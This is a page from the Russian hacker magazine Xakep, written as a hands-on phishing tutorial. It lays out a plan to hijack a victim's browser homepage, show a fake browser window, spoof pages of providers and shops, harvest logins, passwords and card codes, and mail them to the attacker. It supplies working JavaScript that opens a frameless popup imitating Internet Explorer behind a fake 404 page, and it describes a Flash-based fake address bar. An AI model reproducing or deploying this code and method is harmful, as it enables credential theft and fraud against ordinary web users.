ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-2


У меня есть три плана! (с) Итак, что же нужно сделать, чтобы натянуть наивного юзера по самые гланды?

1. Заманить юзверя на зло-пагу, где подсадить ему означенного паразита. Сделать это можно сотней грязных способов от спама, до кидания ссылки в популярную конфу - выбирай на вкус.

2. Прописать юзеру в хоупейдж линк на пагу-паразит aka военный DNS.

3. Показать юзеру неудачную загрузку его реального хомяка или about:blank. Еще неплохая идея сымитировать загрузку сайта M$ (осел иногда самолично вытворяет такое паскудство).

4. Подменить реальные контролзы фейковыми.

5. Отловить адреса, вводимые юзверем в адресную строку, сравнить их со списком "интересных" урлов, таких, как адреса известных провайдеров, icq.com, крупных @-магазинов и т.д., и если такой попался, выдать поддельную страницу соответствующей конторы, а если нет, то отправить юзверя по адресу.

6. На поддельной странице заставить юзера ввести представляющие интересе конфиденциальные данные, типа, логин и пасс, код активации интернет-карты и т.д.

7. Сохранить полученные данные и слить себе на мыло.

8. Окончательно задурить юзеру голову, чтобы выиграть время.

Итак, начнем с реализации паразита, чтобы было, чего подсаживать.

ПОДМЕНА ДОМАШНЕЙ СТРАНИЦЫ

В соурсе (view source) нашей паги должен быть такой код. Он откроет наш псевдо-эксплорер. Тот, кто читал предыдущие номера, сразу поймет, что при минимальном изменении можно открыть этот эксплорер во весь экран, добавив пользователю неожиданного счастья в отсутствии альтернативы.

<html>

<script>

var windowW = 830 // wide

var windowH = 640 // high

var windowX = 0 // from left

var windowY = 0 // from top

var urlPop = "rol.htm"

var title = "- "

var autoclose = false

s = "width="+windowW+",height="+windowH;

var beIE = document.all?true:false

function openFrameless(){

if (beIE){

NFW = window.open("","popFrameless",""+s)

NFW.blur()

window.focus()

NFW.resizeTo(windowW,windowH)

NFW.moveTo(windowX,windowY)

var frameString=""+

"<html>"+

"<head>"+

"<title>"+title+"</title>"+

"</head>"+

"<frameset rows='28,*,21' framespacing=0 border=0 frameborder=0>"+

"<frame name='top' src='top.html' scrolling='no'>"+

"<frame name='main' src='"+urlPop+"' scrolling=yes>"+

"<frame name='bottom' src='bottom.html' scrolling='no'>"+

"</frameset>"+

"</html>"

NFW.document.open();

NFW.document.write(frameString)

NFW.document.close()

} else {

NFW=window.open(urlPop,"popFrameless","scrollbars,"+s)

NFW.blur()

window.focus()

NFW.resizeTo(windowW,windowH)

NFW.moveTo(windowX,windowY)

}

NFW.focus()

if (autoclose){

window.onunload = function(){NFW.close()}

}

}

</script>

<body onload="javascript:openFrameless();">

Здесь можно пустить море твоего бреда или излияние твоего больного сознания, но лучшим вариантом будет стандартная 404 ошибка. У нее меньше всего шансов вызвать подозрение пользователя.

</body>

<html>

Ну, и конечно код окончания нашей паги. Теперь у нас при старте браузера появляется новое окно, в котором мы можем отрываться по полной. С чего начинается Родина? С темплейта в моей голове. Чтобы творить непотребство, надо заставить пользователя поверить, что он еще пользуется своим милым осликом ИЕшкой. Сначала, мы эмулируем окно браузера - нарисуем псевдо-эксплорер, в котором все и будет происходить. Для этого сделаем его скриншот, обрежем лишнее и сверстаем в HTML страничку (для ленивых: все это можно скачать с сайта). Получили совершенно нефункциональное НЕ4ТО. Нефункциональное потому, что пользователю некуда вводить свои любимые урлы, которые мы должны подменить. Куда бы мы ни тыкнули, ничего не происходит. ЭТИМ даже дедушку не обмануть. Начнем-ка мы ЭТО развивать. Самое главное - это строка ввода адреса. Наша задача заключается в том, чтобы на запрос определенного адреса в инете, пользователь попал на нашу обманку и не понял об этом. Для этого самым простым и быстрым способом является сделать аналог этой адресной строки на Флеше (альтернативным вариантом является попытка утонуть в тонкостях JS & CSS).

Назад на стр. 029-020-1  Содержание  Вперед на стр. 029-020-3